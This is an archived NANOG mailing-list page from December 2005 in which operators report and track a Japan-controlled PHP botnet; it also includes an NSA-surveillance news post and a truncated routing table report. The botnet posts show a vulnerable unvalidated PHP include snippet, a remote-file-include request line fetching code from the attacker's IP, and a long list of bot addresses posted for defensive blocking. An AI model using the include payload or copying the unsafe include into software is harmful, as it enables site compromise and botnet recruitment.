- Test - lists.nanog.org

Re:Destructive botnet originating from Japan
by Barrett G. Lyon 25 Dec '05

25 Dec '05

Here is a little update: As of last night authorities were able to seize the IRC server from the ISP in Japan and there will be extensive follow-up it. The DDoS attack is now running headless in the happy range of about 3+ Gbps at around 7-9M PPS. The bots will continue attacking us until they receive the stop command from the bot master, there will never be a stop command, so we will continue to see packet love for a few months while people find that they are attacking us. We will publish a new list of the bots on Monday as we idle with this low traffic rate over the weekend. The attacker was targeting a couple customers that came into our environment after other solutions failed to work for them. After reviewing and comparing notes, it is obvious that the attacks were assassination attempts from a competitor. There was no extortion involved. If you want to get the bots off your network, watch flow data destined to AS32787 with SYN floods to TCP 80 as the destination. Sites that use a PHP include (without validating the strings) to pull- up different web sections and pages are at risk, a lot of people are reporting infection via "$section.php" and "$page.php", the attacker appears to have used Google to locate sites that use includes in that fashion (searching "index.php?page=" or "index.php?section="). Reviewing infected machines for logs related to 210.170.60.2 would be easy to locate a past infection but may not be reliable if the attacker starts a new botnet. An example of the log data looks something like this: grep 210.170.60.2 access_log 210.170.60.2 - - [23/Dec/2005:11:45:37 +0000] "GET /index.php? section=http%3A//210.170.60.2/....? HTTP/1.0" 200 8010 "-" "Wget/1.6" Happy hunting and have nice holidays! -Barrett -- Barrett Lyon CTO and founder Prolexic Technologies, Inc

4 4

Re:Destructive botnet originating from Japan (fwd)
by Rob Thomas 25 Dec '05

25 Dec '05

Hi again, NANOGers. :) I shouldn't have focused solely on the bot issue, sorry. When miscreants obtain access to a server through some PHP exploit, they generally take a look around. If the web server is also a database server (eek!), then the real fun begins. There won't be a noisome bot placed on that server, oh no. One crew installed a cron script to run a SQL query for the new customer data collected in the past 24 hours, then email the query results to the miscreants. :( DDoS can be very painful, and it has the side benefit of being very overt. It is the more subtle attacks and abuses that might concern you even more. It is generally the case that the tools and techniques for both are the same. Thanks, Rob. -- Rob Thomas Team Cymru http://www.cymru.com/ ASSERT(coffee != empty);

4 3

Happy Holidays
by Fergie 25 Dec '05

25 Dec '05

Operational relevance: Slight. I realize that large Telcos/ISP's are legally obligated to non-disclosure of LEA intercation(s) w.r.t placing equipment in their infrstructure. Que sera, sera. But wait: Yes, Boys and Girls! He knows if you've been naughy or nice. Just in time for Christmas, Eric Lichtblau and James Risen write in The New York Times late last night that King George didn't exactly come clean with the details of his 'authorization' of illicit eavesdropping: [snip] The National Security Agency has traced and analyzed large volumes of telephone and Internet communications flowing into and out of the United States as part of the eavesdropping program that President Bush approved after the Sept. 11, 2001, attacks to hunt for evidence of terrorist activity, according to current and former government officials. The volume of information harvested from telecommunication data and voice networks, without court-approved warrants, is much larger than the White House has acknowledged, the officials said. It was collected by tapping directly into some of the American telecommunication system's main arteries, they said. [snip] Happy Holidays -- party like it's 1984. More here: http://www.nytimes.com/2005/12/24/politics/24spy.html But, of course, you already knew that, right? Cheers, - ferg ps. As an aside, this is in no way surprising -- as a former OMSEC guy, I figure they've been doing this, in one way or another, forever. :-) -- "Fergie", a.k.a. Paul Ferguson Engineering Architecture for the Internet fergdawg(a)netzero.net or fergdawg(a)sbcglobal.net ferg's tech blog: http://fergdawg.blogspot.com/

1 0

RE: Re:Destructive botnet originating from Japan
by Hannigan, Martin 24 Dec '05

24 Dec '05

You'd think nsp-sec people would try and get nsp-jp involved. Oh, there is no nsp-jp, or skooter 15. :) -----Original Message----- From: Barrett G. Lyon [mailto:blyon@prolexic.com] Sent: Fri Dec 23 19:21:47 2005 To: nanog(a)merit.edu Subject: Re:Destructive botnet originating from Japan Well it appears that bad code always seems to be the root of problems, according to our research today the problem appears to be caused by incorrectly written PHP applications that perform includes using a string without running any validation against the string: index.php?test=test $test=$_GET[test]; include("$test.php"); When the include executes the test string passed from the GET includes execution instructions: "GET /index.php?test=http%3A//210.170.60.2/....? HTTP/1.0" 200 8010 "-" "Wget/1.6" It appears that the attacker at 210.170.60.2 (also the botnet hosting IRC server) is spreading his code as the include is called, pulling and executing PHP code from a remote server that injects the software. I'm not sure if this needs to be alerted to anyone outside of this list, but it's pretty nasty. -Barrett

1 0

Destructive botnet originating from Japan
by Barrett G. Lyon 23 Dec '05

23 Dec '05

Prolexic is currently mitigating a 6+ Gbps (12+ Million PPS) DDoS attack that is orginitating from an IRC based botnet server in Japan. The bot software itself runs on GLIBC_2.1.3, GLIBC_2.1, and GLIBC_2.0 compatible x86 Linux boxen. The bot software is about 28.3 KB, it has a lot of capabilities including, HTTP connection, TCP floods, and and broken SYN flooding. We are not sure of the current infection method but it must be a common Redhat Linux vulnerability. We have contacted the network that hosts the IRC controller server server, however, they do not speak english and we have yet to locate a translator. The botnet controller server is hard coded in the botnet binary at: 210.170.60.2/32 (www.vectant.co.jp) .e....'.:127.0.0.1 001 nmdpokdhr :Welcome to the Internet Relay Network nmdpokdhr!~rjhriafit(a)cpe-70-116-65-96.houston.res.rr.com :127.0.0.1 002 nmdpokdhr :Your host is 127.0.0.1, running version 2.10.3p7 :127.0.0.1 003 nmdpokdhr :This server was created Sat May 29 2004 at 06:15:50 JST :127.0.0.1 004 nmdpokdhr 127.0.0.1 2.10.3p7 aoOirw abeiIklmnoOpqrstv :127.0.0.1 251 nmdpokdhr :There are 553 users and 0 services on 1 servers :127.0.0.1 252 nmdpokdhr 1 :operators online :127.0.0.1 253 nmdpokdhr 23 :unknown connections :127.0.0.1 254 nmdpokdhr 10 :channels formed Please null route that IP on every network you may have access to, that will disable the ability for the bots to get updates and act on behalf of the attacker. The connection port is TCP 3982 (IRC based bot). We have been running heavy stats collection on the attack, the Prolexic SOC has compiled the enclosed prefix list as malicious and non-spoofed addresses, there are many more, however the list below is some of the highest traffic generators. Happy hunting and feel free to email me off-list if you would like more information on the attack and the botnet software itself. Thanks, -Barrett -- Barrett Lyon CTO and founder Prolexic Technologies, Inc 8.6.223.55/32; 12.223.37.219/32; 59.120.167.58/32; 60.248.172.146/32; 61.9.146.3/32; 61.78.39.236/32; 61.82.130.84/32; 61.109.250.114/32; 61.111.254.95/32; 61.129.70.191/32; 61.145.116.6/32; 61.145.116.140/32; 62.4.71.20/32; 62.4.81.200/32; 62.4.81.205/32; 62.5.235.130/32; 62.23.176.113/32; 62.23.209.248/32; 62.23.221.77/32; 62.39.106.10/32; 62.40.68.9/32; 62.40.88.3/32; 62.44.12.220/32; 62.67.209.30/32; 62.67.228.12/32; 62.73.162.206/32; 62.73.184.13/32; 62.75.138.85/32; 62.75.242.83/32; 62.75.244.21/32; 62.79.147.151/32; 62.93.242.6/32; 62.99.206.202/32; 62.116.124.102/32; 62.121.0.200/32; 62.121.133.93/32; 62.121.136.6/32; 62.123.155.13/32; 62.128.242.9/32; 62.148.166.220/32; 62.149.0.43/32; 62.149.227.82/32; 62.153.106.245/32; 62.166.18.36/32; 62.168.63.139/32; 62.168.116.66/32; 62.193.194.93/32; 62.193.194.163/32; 62.193.203.73/32; 62.193.203.174/32; 62.193.224.36/32; 62.193.225.83/32; 62.193.225.104/32; 62.193.225.115/32; 62.193.230.43/32; 62.193.236.124/32; 62.212.92.74/32; 62.218.123.154/32; 62.233.173.134/32; 62.233.229.164/32; 62.241.41.84/32; 62.244.209.174/32; 63.240.62.101/32; 63.246.10.165/32; 63.247.87.186/32; 63.247.141.200/32; 64.5.53.103/32; 64.21.152.2/32; 64.27.93.18/32; 64.27.109.170/32; 64.34.162.6/32; 64.34.166.50/32; 64.34.178.19/32; 64.34.200.182/32; 64.38.0.186/32; 64.40.110.217/32; 64.40.111.242/32; 64.151.73.204/32; 64.202.105.80/32; 64.203.136.14/32; 64.207.133.47/32; 64.239.115.121/32; 64.239.130.69/32; 65.39.145.5/32; 65.39.218.225/32; 65.164.218.248/32; 65.254.62.138/32; 66.34.5.229/32; 66.84.73.68/32; 66.90.70.70/32; 66.112.161.145/32; 66.132.249.67/32; 66.135.37.39/32; 66.135.39.28/32; 66.139.75.5/32; 66.147.224.141/32; 66.150.198.66/32; 66.151.7.65/32; 66.159.18.157/32; 66.187.137.76/32; 66.214.98.101/32; 66.227.123.33/32; 66.232.145.17/32; 66.246.149.2/32; 67.15.2.46/32; 67.15.12.66/32; 67.18.11.66/32; 67.18.99.18/32; 67.18.114.10/32; 67.19.50.68/32; 67.19.91.170/32; 67.19.221.50/32; 67.98.11.150/32; 68.96.19.114/32; 68.178.166.1/32; 69.0.243.95/32; 69.10.146.12/32; 69.10.152.66/32; 69.12.167.160/32; 69.20.12.82/32; 69.20.61.27/32; 69.22.164.17/32; 69.41.231.186/32; 69.55.225.120/32; 69.56.182.194/32; 69.60.110.226/32; 69.60.121.224/32; 69.64.34.77/32; 69.64.36.111/32; 69.64.38.73/32; 69.64.49.141/32; 69.64.191.40/32; 69.65.19.206/32; 69.93.34.106/32; 70.84.20.228/32; 70.84.58.4/32; 70.84.106.17/32; 70.86.13.138/32; 70.86.93.66/32; 70.168.49.10/32; 72.4.161.75/32; 72.9.224.146/32; 72.9.241.114/32; 72.22.64.228/32; 72.29.71.195/32; 72.36.212.218/32; 80.22.52.122/32; 80.51.134.2/32; 80.55.41.42/32; 80.58.34.109/32; 80.66.32.41/32; 80.67.19.81/32; 80.68.90.53/32; 80.69.46.165/32; 80.73.225.9/32; 80.83.176.40/32; 80.188.65.70/32; 80.199.245.190/32; 80.202.109.45/32; 80.235.110.52/32; 80.237.146.47/32; 80.237.152.61/32; 80.237.203.105/32; 80.237.204.72/32; 80.237.208.12/32; 80.239.137.200/32; 80.239.198.40/32; 80.247.227.130/32; 80.253.108.80/32; 81.0.233.80/32; 81.0.234.33/32; 81.2.209.46/32; 81.16.99.30/32; 81.17.45.171/32; 81.29.96.152/32; 81.31.2.234/32; 81.90.160.157/32; 81.91.64.45/32; 81.95.106.15/32; 81.169.149.127/32; 81.169.156.235/32; 81.169.158.167/32; 81.169.166.30/32; 81.169.171.48/32; 81.169.184.73/32; 81.174.50.142/32; 81.176.65.146/32; 81.177.4.7/32; 81.216.82.22/32; 81.222.134.11/32; 81.222.134.21/32; 82.68.160.226/32; 82.76.68.206/32; 82.88.156.153/32; 82.98.131.130/32; 82.113.60.76/32; 82.142.64.149/32; 82.144.5.5/32; 82.149.226.13/32; 82.149.245.5/32; 82.165.8.190/32; 82.165.29.79/32; 82.165.29.160/32; 82.165.34.122/32; 82.165.177.137/32; 82.177.42.29/32; 82.192.166.195/32; 82.202.115.4/32; 82.212.221.55/32; 83.17.104.202/32; 83.17.181.114/32; 83.18.226.214/32; 83.64.161.170/32; 83.64.231.242/32; 83.72.0.197/32; 83.90.91.228/32; 83.98.150.60/32; 83.103.63.187/32; 83.140.86.66/32; 83.149.125.50/32; 83.240.154.200/32; 83.246.118.19/32; 84.47.129.55/32; 84.180.73.137/32; 84.180.74.25/32; 84.180.103.95/32; 84.180.126.88/32; 84.244.146.80/32; 84.245.140.80/32; 84.252.139.206/32; 85.17.9.74/32; 85.18.11.66/32; 85.111.0.20/32; 85.124.188.170/32; 85.190.12.145/32; 85.233.230.3/32; 128.105.45.101/32; 129.175.56.150/32; 130.39.198.65/32; 130.79.83.240/32; 130.94.230.27/32; 130.225.246.128/32; 130.228.216.4/32; 131.96.183.4/32; 131.103.251.96/32; 131.174.93.233/32; 134.102.79.79/32; 134.129.212.25/32; 134.169.6.37/32; 138.26.238.9/32; 139.179.14.47/32; 140.122.65.149/32; 141.84.155.10/32; 147.83.205.51/32; 147.229.88.129/32; 150.128.98.28/32; 150.128.193.60/32; 150.254.30.30/32; 151.1.32.221/32; 151.1.244.123/32; 152.78.192.105/32; 156.17.68.5/32; 158.36.86.170/32; 163.20.30.3/32; 163.23.66.1/32; 168.209.98.35/32; 193.10.222.220/32; 193.23.113.130/32; 193.28.183.41/32; 193.77.157.60/32; 193.89.248.3/32; 193.109.91.77/32; 193.109.138.8/32; 193.109.252.14/32; 193.110.91.2/32; 193.111.95.102/32; 193.111.95.182/32; 193.111.95.222/32; 193.121.149.70/32; 193.193.255.76/32; 193.201.54.102/32; 193.202.83.31/32; 193.202.83.124/32; 193.202.89.89/32; 193.224.41.14/32; 193.225.21.50/32; 193.226.13.210/32; 193.226.251.229/32; 193.231.80.194/32; 193.238.16.78/32; 193.246.253.28/32; 194.1.215.253/32; 194.25.133.2/32; 194.63.248.42/32; 194.63.248.43/32; 194.63.250.70/32; 194.85.172.134/32; 194.87.149.34/32; 194.94.36.112/32; 194.105.237.70/32; 194.116.187.9/32; 194.141.4.7/32; 194.146.225.213/32; 194.146.226.63/32; 194.150.224.102/32; 194.150.246.4/32; 194.176.173.240/32; 194.183.237.135/32; 194.190.223.164/32; 194.204.11.65/32; 194.206.89.85/32; 194.206.123.226/32; 194.213.194.42/32; 194.224.162.123/32; 194.229.164.17/32; 194.255.115.162/32; 195.13.58.95/32; 195.14.0.5/32; 195.24.121.65/32; 195.50.196.195/32; 195.52.219.101/32; 195.56.65.183/32; 195.56.234.78/32; 195.58.161.54/32; 195.65.63.74/32; 195.70.36.11/32; 195.70.36.75/32; 195.70.36.149/32; 195.70.37.171/32; 195.70.50.53/32; 195.72.0.4/32; 195.90.247.145/32; 195.122.196.239/32; 195.129.104.96/32; 195.140.142.177/32; 195.141.66.50/32; 195.154.193.51/32; 195.185.214.7/32; 195.186.64.179/32; 195.186.64.183/32; 195.186.64.211/32; 195.186.65.152/32; 195.186.65.157/32; 195.207.138.113/32; 195.228.75.35/32; 195.228.75.72/32; 195.228.75.111/32; 195.228.75.213/32; 195.228.156.68/32; 195.228.157.211/32; 195.228.254.6/32; 195.238.252.4/32; 195.242.117.9/32; 196.25.198.7/32; 196.30.79.74/32; 198.63.48.160/32; 198.87.99.130/32; 199.88.139.30/32; 200.27.201.214/32; 200.29.21.90/32; 200.30.71.34/32; 200.62.55.103/32; 200.69.196.58/32; 200.80.42.107/32; 200.80.42.130/32; 200.80.42.140/32; 200.97.11.5/32; 200.211.73.57/32; 200.241.95.2/32; 202.27.216.45/32; 202.55.152.3/32; 202.70.111.37/32; 202.108.59.135/32; 202.136.168.37/32; 202.182.64.137/32; 202.222.28.63/32; 202.222.30.141/32; 203.17.208.38/32; 203.22.23.158/32; 203.71.115.94/32; 203.79.72.126/32; 203.101.80.60/32; 203.130.242.69/32; 203.161.254.18/32; 203.166.138.154/32; 203.194.159.193/32; 203.194.196.211/32; 203.194.198.200/32; 203.194.209.85/32; 203.194.240.135/32; 204.3.221.140/32; 204.141.0.40/32; 204.209.121.169/32; 205.134.254.252/32; 205.200.160.250/32; 205.208.248.45/32; 205.218.64.140/32; 205.234.196.212/32; 206.123.104.116/32; 206.123.110.39/32; 206.159.40.6/32; 206.225.93.88/32; 207.99.35.82/32; 207.142.135.62/32; 207.164.133.174/32; 207.230.229.192/32; 207.245.113.66/32; 208.55.199.75/32; 208.179.209.4/32; 208.181.144.80/32; 208.220.169.4/32; 209.1.163.22/32; 209.11.250.3/32; 209.25.148.218/32; 209.33.198.216/32; 209.46.21.5/32; 209.126.250.2/32; 209.130.104.254/32; 209.134.25.200/32; 209.135.140.121/32; 209.182.0.151/32; 209.212.110.211/32; 209.216.209.5/32; 209.238.150.74/32; 209.250.83.7/32; 210.51.191.138/32; 210.66.72.29/32; 210.80.180.119/32; 210.104.247.130/32; 210.118.194.56/32; 210.170.60.2/32; 211.34.189.3/32; 211.43.212.17/32; 211.62.35.151/32; 211.200.28.6/32; 211.229.208.157/32; 211.255.23.41/32; 212.7.192.58/32; 212.9.255.242/32; 212.12.38.166/32; 212.18.63.148/32; 212.19.146.106/32; 212.20.196.86/32; 212.25.170.50/32; 212.25.170.52/32; 212.25.170.80/32; 212.33.133.75/32; 212.37.192.57/32; 212.37.214.10/32; 212.37.214.33/32; 212.47.6.132/32; 212.51.192.17/32; 212.58.137.10/32; 212.60.217.228/32; 212.63.130.170/32; 212.63.132.54/32; 212.66.8.3/32; 212.69.194.222/32; 212.69.208.21/32; 212.79.114.20/32; 212.84.188.34/32; 212.91.225.58/32; 212.92.15.2/32; 212.95.67.36/32; 212.96.168.169/32; 212.97.1.111/32; 212.105.63.2/32; 212.108.197.11/32; 212.110.119.85/32; 212.112.168.149/32; 212.112.227.234/32; 212.112.238.36/32; 212.113.192.245/32; 212.122.203.11/32; 212.160.139.242/32; 212.160.144.130/32; 212.160.233.90/32; 212.183.164.38/32; 212.201.68.131/32; 212.202.151.189/32; 212.204.244.31/32; 212.214.165.226/32; 212.217.13.148/32; 212.227.63.118/32; 212.227.81.215/32; 212.227.90.45/32; 212.241.125.69/32; 212.244.28.242/32; 213.11.2.18/32; 213.22.100.53/32; 213.56.31.113/32; 213.76.147.98/32; 213.76.147.115/32; 213.80.21.2/32; 213.81.186.20/32; 213.81.187.178/32; 213.92.95.122/32; 213.130.39.106/32; 213.130.129.113/32; 213.144.76.55/32; 213.149.238.13/32; 213.152.192.242/32; 213.157.185.162/32; 213.157.239.181/32; 213.158.233.142/32; 213.160.188.77/32; 213.174.191.138/32; 213.180.20.3/32; 213.180.28.70/32; 213.180.31.218/32; 213.186.34.134/32; 213.186.35.170/32; 213.186.38.84/32; 213.186.38.176/32; 213.186.39.182/32; 213.186.40.126/32; 213.186.46.71/32; 213.186.59.146/32; 213.186.60.212/32; 213.186.61.127/32; 213.188.131.102/32; 213.193.228.200/32; 213.193.230.201/32; 213.193.246.25/32; 213.194.122.58/32; 213.197.29.20/32; 213.197.151.2/32; 213.198.17.49/32; 213.198.18.45/32; 213.198.19.102/32; 213.198.19.183/32; 213.198.46.19/32; 213.198.47.226/32; 213.198.67.129/32; 213.198.67.237/32; 213.203.141.24/32; 213.203.220.12/32; 213.204.1.70/32; 213.206.91.40/32; 213.208.135.3/32; 213.209.130.253/32; 213.215.80.222/32; 213.218.133.179/32; 213.219.161.168/32; 213.219.163.8/32; 213.219.163.80/32; 213.219.184.179/32; 213.219.186.64/32; 213.226.248.10/32; 213.239.151.8/32; 213.239.164.107/32; 213.239.193.92/32; 213.239.201.89/32; 213.239.213.73/32; 213.239.220.177/32; 213.241.84.66/32; 213.246.39.107/32; 213.246.62.10/32; 213.246.63.158/32; 213.251.132.42/32; 213.251.132.191/32; 213.251.133.72/32; 213.251.145.173/32; 213.251.160.23/32; 213.251.161.129/32; 213.251.162.66/32; 213.251.162.129/32; 213.251.164.110/32; 216.17.103.67/32; 216.38.218.186/32; 216.67.251.27/32; 216.69.168.220/32; 216.98.54.71/32; 216.117.18.4/32; 216.121.224.139/32; 216.130.161.170/32; 216.130.161.174/32; 216.150.20.172/32; 216.171.144.85/32; 216.185.128.200/32; 216.193.228.30/32; 216.210.143.7/32; 216.237.120.114/32; 216.243.184.233/32; 217.8.185.222/32; 217.11.237.34/32; 217.11.251.233/32; 217.12.223.2/32; 217.13.82.82/32; 217.16.26.175/32; 217.19.0.5/32; 217.21.81.1/32; 217.24.223.16/32; 217.26.52.16/32; 217.64.202.205/32; 217.67.26.165/32; 217.68.161.199/32; 217.69.32.50/32; 217.70.32.74/32; 217.70.32.89/32; 217.71.208.154/32; 217.71.210.179/32; 217.71.214.98/32; 217.74.173.233/32; 217.97.243.193/32; 217.98.56.2/32; 217.98.61.3/32; 217.112.88.245/32; 217.113.62.25/32; 217.116.3.75/32; 217.117.216.134/32; 217.146.139.241/32; 217.150.241.177/32; 217.151.104.4/32; 217.153.146.158/32; 217.154.108.226/32; 217.160.72.129/32; 217.160.75.170/32; 217.160.76.167/32; 217.160.181.175/32; 217.160.185.105/32; 217.160.200.95/32; 217.160.219.86/32; 217.160.240.159/32; 217.168.208.21/32; 217.172.174.208/32; 217.173.157.65/32; 217.194.64.5/32; 217.198.149.153/32; 217.206.220.136/32; 218.38.34.196/32; 218.38.243.5/32; 218.144.240.70/32; 218.145.53.166/32; 218.214.194.244/32; 218.237.65.30/32; 219.232.112.100/32; 219.240.39.143/32; 220.95.231.150/32; 221.139.50.151/32; 222.122.13.53/32; 222.236.44.24/32;

1 0

Weekly Routing Table Report
by Routing Table Analysis 23 Dec '05

23 Dec '05

This is an automated weekly mailing describing the state of the Internet Routing Table as seen from APNIC's router in Japan. Daily listings are sent to bgp-stats(a)lists.apnic.net If you have any comments please contact Philip Smith <pfs(a)cisco.com>. Routing Table Report 04:00 +10GMT Sat 24 Dec, 2005 Analysis Summary ---------------- BGP routing table entries examined: 176968 Prefixes after maximum aggregation: 99696 Unique aggregates announced to Internet: 85988 Total ASes present in the Internet Routing Table: 21229 Origin-only ASes present in the Internet Routing Table: 18478 Origin ASes announcing only one prefix: 8748 Transit ASes present in the Internet Routing Table: 2751 Transit-only ASes present in the Internet Routing Table: 75 Average AS path length visible in the Internet Routing Table: 4.6 Max AS path length visible: 22 Prefixes from unregistered ASNs in the Routing Table: 11 Special use prefixes present in the Routing Table: 0 Prefixes being announced from unallocated address space: 11 Number of addresses announced to Internet: 1492308416 Equivalent to 88 /8s, 242 /16s and 209 /24s Percentage of available address space announced: 40.3 Percentage of allocated address space announced: 60.6 Percentage of available address space allocated: 66.4 Total number of prefixes smaller than registry allocations: 85142 APNIC Region Analysis Summary ----------------------------- Prefixes being announced by APNIC Region ASes: 36893 Total APNIC prefixes after maximum aggregation: 15758 Prefixes being announced from the APNIC address blocks: 34639 Unique aggregates announced from the APNIC address blocks: 17095 APNIC Region origin ASes present in the Internet Routing Table: 2446 APNIC Region origin ASes announcing only one prefix: 699 APNIC Region transit ASes present in the Internet Routing Table: 373 Average APNIC Region AS path length visible: 4.5 Max APNIC Region AS path length visible: 17 Number of APNIC addresses announced to Internet: 208964288 Equivalent to 12 /8s, 116 /16s and 138 /24s Percentage of available APNIC address space announced: 77.5 APNIC AS Blocks 4608-4864, 7467-7722, 9216-10239, 17408-18431 (pre-ERX allocations) 23552-24575, 37888-38911 APNIC Address Blocks 58/7, 60/7, 124/7, 126/8, 202/7, 210/7, 218/7, 220/7 and 222/8 ARIN Region Analysis Summary ---------------------------- Prefixes being announced by ARIN Region ASes: 93358 Total ARIN prefixes after maximum aggregation: 56140 Prefixes being announced from the ARIN address blocks: 72719 Unique aggregates announced from the ARIN address blocks: 27884 ARIN Region origin ASes present in the Internet Routing Table: 10407 ARIN Region origin ASes announcing only one prefix: 3871 ARIN Region transit ASes present in the Internet Routing Table: 954 Average ARIN Region AS path length visible: 4.3 Max ARIN Region AS path length visible: 17 Number of ARIN addresses announced to Internet: 280847872 Equivalent to 16 /8s, 189 /16s and 102 /24s Percentage of available ARIN address space announced: 69.7 ARIN AS Blocks 1-1876, 1902-2042, 2044-2046, 2048-2106 (pre-ERX allocations) 2138-2584, 2615-2772, 2823-2829, 2880-3153 3354-4607, 4865-5119, 5632-6655, 6912-7466 7723-8191, 10240-12287, 13312-15359, 16384-17407 18432-20479, 21504-23551, 25600-26591, 26624-27647, 29696-30719, 31744-33791 35840-36863 ARIN Address Blocks 24/8, 63/8, 64/6, 68/7, 70/6, 74/7, 76/8, 198/7, 204/6, 208/7 and 216/8 RIPE Region Analysis Summary ---------------------------- Prefixes being announced by RIPE Region ASes: 34743 Total RIPE prefixes after maximum aggregation: 23558 Prefixes being announced from the RIPE address blocks: 31731 Unique aggregates announced from the RIPE address blocks: 21300 RIPE Region origin ASes present in the Internet Routing Table: 7496 RIPE Region origin ASes announcing only one prefix: 3925 RIPE Region transit ASes present in the Internet Routing Table: 1234 Average RIPE Region AS path length visible: 5.1 Max RIPE Region AS path length visible: 19 Number of RIPE addresses announced to Internet: 228585792 Equivalent to 13 /8s, 159 /16s and 241 /24s Percentage of available RIPE address space announced: 68.1 RIPE AS Blocks 1877-1901, 2043, 2047, 2107-2136, 2585-2614 (pre-ERX allocations) 2773-2822, 2830-2879, 3154-3353, 5377-5631 6656-6911, 8192-9215, 12288-13311, 15360-16383 20480-21503, 24576-25599, 28672-29695 30720-31743, 33792-35839, 38912-39935 RIPE Address Blocks 62/8, 80/5, 88/6, 188/8, 193/8, 194/7, 212/7 and 217/8 LACNIC Region Analysis Summary ------------------------------ Prefixes being announced by LACNIC Region ASes: 10137 Total LACNIC prefixes after maximum aggregation: 3382 Prefixes being announced from the LACNIC address blocks: 8368 Unique aggregates announced from the LACNIC address blocks: 4774 LACNIC Region origin ASes present in the Internet Routing Table: 660 LACNIC Region origin ASes announcing only one prefix: 206 LACNIC Region transit ASes present in the Internet Routing Table: 126 Average LACNIC Region AS path length visible: 5.2 Max LACNIC Region AS path length visible: 22 Number of LACNIC addresses announced to Internet: 23276800 Equivalent to 1 /8s, 99 /16s and 45 /24s Percentage of available LACNIC address space announced: 34.7 LACNIC AS Blocks 26592-26623, 27648-28671, plus ERX transfers LACNIC Address Blocks 189/8, 190/8, 200/7 AfriNIC Region Analysis Summary ------------------------------- Prefixes being announced by AfriNIC Region ASes: 1831 Total AfriNIC prefixes after maximum aggregation: 858 Prefixes being announced from the AfriNIC address blocks: 1192 Unique aggregates announced from the AfriNIC address blocks: 814 AfriNIC Region origin ASes present in the Internet Routing Table: 144 AfriNIC Region origin ASes announcing only one prefix: 47 AfriNIC Region transit ASes present in the Internet Routing Table: 26 Average AfriNIC Region AS path length visible: 4.5 Max AfriNIC Region AS path length visible: 12 Number of AfriNIC addresses announced to Internet: 2898944 Equivalent to 0 /8s, 44 /16s and 60 /24s Percentage of available AfriNIC address space announced: 8.6 AfriNIC AS Blocks 36864-37887 & ERX transfers AfriNIC Address Blocks 41/8, 196/8 APNIC Region per AS prefix count summary ---------------------------------------- ASN No of nets /20 equiv MaxAgg Description 4134 1015 6469 206 CHINANET-BACKBONE 9583 841 77 12 Sify Limited 1221 665 1364 476 Telstra Pty Ltd 4766 659 3928 289 Korea Telecom (KIX) 4755 614 256 60 Videsh Sanchar Nigam Ltd. Aut 7545 515 108 71 TPG Internet Pty Ltd 17676 475 6853 99 Softbank BB Corp. 17488 431 26 11 Hathway IP Over Cable Interne 9498 430 212 68 BHARTI BT INTERNET LTD. 9443 399 89 85 Primus Telecommunications 4802 348 74 159 Wantree Development 2907 335 1762 312 SINET Japan 9929 331 217 49 China Netcom Corp. 7474 325 226 223 SingTel Optus Pty Ltd 17557 308 24 161 Pakistan Telecom 17974 286 69 23 PT TELEKOMUNIKASI INDONESIA 18101 283 68 19 Reliance Infocom Ltd Internet 4780 282 226 16 Digital United Inc. 9837 273 78 172 Powertel Ltd 9800 255 410 67 CHINA UNICOM ARIN Region per AS prefix count summary --------------------------------------- ASN No of nets /20 equiv MaxAgg Description 7018 1461 6312 957 AT&T WorldNet Services 4323 1196 722 235 Time Warner Telecom 174 1049 5825 967 Cogent Communications 721 1030 21938 309 DLA Systems Automation Center 701 973 8118 817 UUNET Technologies, Inc. 6197 970 434 506 BellSouth Network Solutions, 2386 916 517 689 AT&T Data Communications Serv 18566 887 240 7 Covad Communications 1239 847 2803 602 Sprint 209 661 3606 526 Qwest 20115 655 534 337 Charter Communications 11492 634 89 11 Cable One 22773 593 1477 29 Cox Communications, Inc. 19262 584 1657 144 Verizon Global Networks 852 572 1092 380 Telus Advanced Communications 19916 563 49 54 OLM LLC 855 562 243 65 Canadian Research Network 3356 523 10618 402 Level 3 Communications, LLC 3602 523 127 106 Sprint Canada, Inc. 6478 517 1435 284 AT&T Worldnet Services RIPE Region per AS prefix count summary --------------------------------------- ASN No of nets /20 equiv MaxAgg Description 702 591 1954 469 UUNET - Commercial IP service 3301 304 1071 290 TeliaNet Sweden 3320 287 3487 241 Deutsche Telekom AG 8220 273 474 267 COLT Telecommunications 680 244 2024 238 DFN-IP service G-WiN 3246 227 486 220 Song Networks 8708 224 274 208 Romania Data Systems S.A. 6746 204 51 175 Dynamic Network Technologies, 1257 189 712 170 SWIPnet Swedish IP Network 3269 182 1829 68 TELECOM ITALIA 5515 180 840 127 Sonera Solution Autonomous Sy 786 173 1794 173 The JANET IP Service 5400 167 328 136 BT Ignite European Backbone 8866 167 37 11 Bulgarian Telecommunication C 24863 166 38 9 LINKdotNET AS number 3215 162 1326 82 France Telecom Transpac 6830 162 669 33 UPC Distribution Services 3300 158 169 92 AUCS Communications Services 12479 155 322 5 Uni2 Autonomous System 25186 147 211 103 France Telecom Transpac's Tra LACNIC Region per AS prefix count summary ----------------------------------------- ASN No of nets /20 equiv MaxAgg Description 8151 485 776 211 UniNet S.A. de C.V. 22047 380 141 43 VTR PUNTO NET S.A. 16814 295 18 7 NSS, S.A. 11172 294 106 76 Servicios Alestra S.A de C.V 14117 184 11 6 Telefonica del Sur S.A. 13999 175 52 9 Mega Cable S.A. de C.V. 7303 153 73 18 Telecom Argentina Stet-France 6147 150 118 21 Telefonica Del Peru 11664 138 22 13 Keytech SA 11556 130 64 3 Cable-Wireless Panama 19169 128 8 21 Telconet 10481 121 48 8 Prima S.A. 6503 118 148 78 AVANTEL, S.A. 5639 112 12 9 Telecommunications Services o 21826 112 14 18 INTERCABLE 6505 106 88 79 Global One Communicaoes Ltda 14522 102 12 8 SatNet S.A. 11311 99 8 10 Sinectis S.A. 18822 98 7 10 TELEFONICA MANQUEHUE 4270 93 17 9 Red de Interconexion Universi AfriNIC Region per AS prefix count summary ------------------------------------------ ASN No of nets /20 equiv MaxAgg Description 3741 272 812 230 The Internet Solution 8452 146 44 7 TEDATA 5536 122 8 16 Internet Egypt Network 2018 117 298 103 Tertiary Education Network 15475 103 84 4 Nile Online 2905 74 155 67 The Internetworking Company o 6713 69 71 10 Itissalat Al-MAGHRIB 24835 64 34 6 RAYA Telecom - Egypt 20928 61 16 2 Noor Advanced Technologies AS 5713 39 167 35 Telkom SA Ltd 33774 33 4 24 AS Number for Telecom Algeria 15706 31 8 3 Sudatel Internet Exchange Aut 23889 27 7 10 MAURITIUS TELECOM 8524 23 1 4 AUCEGYPT Autonomous System 21280 23 4 4 Swift Global Kenya Ltd.Is an 10798 22 1 13 Standard Bank of South Africa 16637 22 10 20 Johnnic e-Ventures 12455 18 6 5 Jambonet Autonomous system 12258 17 3 11 Vodacom Internet Company 15808 17 